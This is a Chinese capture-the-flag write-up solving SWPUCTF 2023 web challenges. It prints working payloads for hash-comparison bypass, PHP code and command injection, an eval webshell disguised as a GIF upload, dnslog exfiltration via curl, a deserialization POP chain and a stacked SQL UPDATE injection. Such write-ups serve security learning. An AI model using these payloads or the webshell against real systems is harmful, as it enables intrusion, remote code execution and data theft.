SWPUCTF 2023
NSS_HTTP_CHEKER
抓包后根据题目要求上传即可
一键连接
由题可知,该题考的是md5加密和sha1加密的强相等绕过,由于该两种加密方式都无法加密数组,所以可以用数组进行绕过,构造如下语句 ?md5_1[]=1&md5_2[]=2&sha1_1[]=3&sha1_2[]=4 添加到url后上传,页面提示我们是否知道data协议
查过之后知道data协议用于嵌入小文件,由四个部分组成:前缀(data:
)、指示数据类型的 MIME 类型、如果非文本则为可选的 base64
标记、数据本身
构造如下语句:new_player=data://text/plain,Welcome to NSSCTF!!! 并上传
页面出现提示,让我们使用蚁剑,不过用bp上传也是一样的
if_else
由题可知该题提交的check会被放到一个if判断条件中,我们可以用)将判断条件结束,然后在后面自己补上想要执行的指令,构造如下payload
check=1)( system('cat /f*');
其实感觉应该写成以下的payload更好,可以注释掉后面的语句
check=1)( system('cat /f*');)/*
上传后访问check.php获取flag
Pingpingping
进行代码审计可知我们需要传入 Ping_ip.exe ,为了防止 . 被改成 _ 我们将第一个 _ 改成 [ ,payload如下
?Ping[ip.exe=127.0.0.1|ls /
发现flag
再构造如下payload
?Ping[ip.exe=127.0.0.1|cat /flag
得到flag
ez_talk
该题要求我们上传图片文件,可以想到将一句话木马伪渣成图片文件然后上传
GIF89a?
<?php
phpinfo();
@eval($_POST['cmd']);
?>
构造如上文件后上传,用bp截取数据包,修改content-type为image/jpeg后再次上传。
挂马成功之后用post方式将指令传给参数cmd
cmd=system("cat /f*");
获得flag
RCE-PLUS
该题使用shell_exec执行命令,会导致命令执行但不显示,于是这里采用dnslog将数据外带出来
先去dnslog获取一个域名,然后以如下的形式构造payload
cmd=curl `命令`.域名
传入后回到dnslog然后刷新即可得到flag
UnS3rialize
该题主要考察的是pop链的构造,代码审计后可知pop链的尾部位于Nss类中,为了调用该类中的invoke()魔术方法并且不触发wakeup()魔术方法,需要将对象的属性数量增加。然后再逐步向上找,找到C类中的get方法,然后是T类中的toString方法,再之后是F类中的destruct。最终得到的反序列化串如下
O:1:"F":5:{s:4:"user";s:4:"SWPU";s:6:"passwd";s:3:"NSS";s:5:"notes";O:1:"T":1:{s:3:"sth";O:1:"C":1:{s:6:"whoami";O:3:"NSS":1:{s:3:"cmd";s:4:"cat /*";}}}}
由于代码中进行了base64解密,所以这里要先对其进行base64加密再上传
TzoxOiJGIjo1OntzOjQ6InVzZXIiO3M6NDoiU1dQVSI7czo2OiJwYXNzd2QiO3M6MzoiTlNTIjtzOjU6Im5vdGVzIjtPOjE6IlQiOjE6e3M6Mzoic3RoIjtPOjE6IkMiOjE6e3M6Njoid2hvYW1pIjtPOjM6Ik5TUyI6MTp7czozOiJjbWQiO3M6NzoiY2F0IC9mKiI7fX19fQ0K
然后用get方式上传后即可得到flag
NSS大卖场
没什么思路,查了一下wp后知道是updata注入,因为每次购买物品时的数据包都会传入/buy/物品编号 结合hint中提供的后备文件
可以构造如下的payload
/buy/1';upDate%09items%09set%09price=2333%09Where%09id=8;#
传入后成功修改flag价格为2333,购买后即可获得flag
查查need
进入题目之后在F12里找到提示
提示说可以尝试万能密码。
bp抓包后找到注入点为student_id,闭合方式为双引号""。看了wp之后得知可以使用下载的学生名单和万能密码进行爆破,得到如下结果
成功获取flag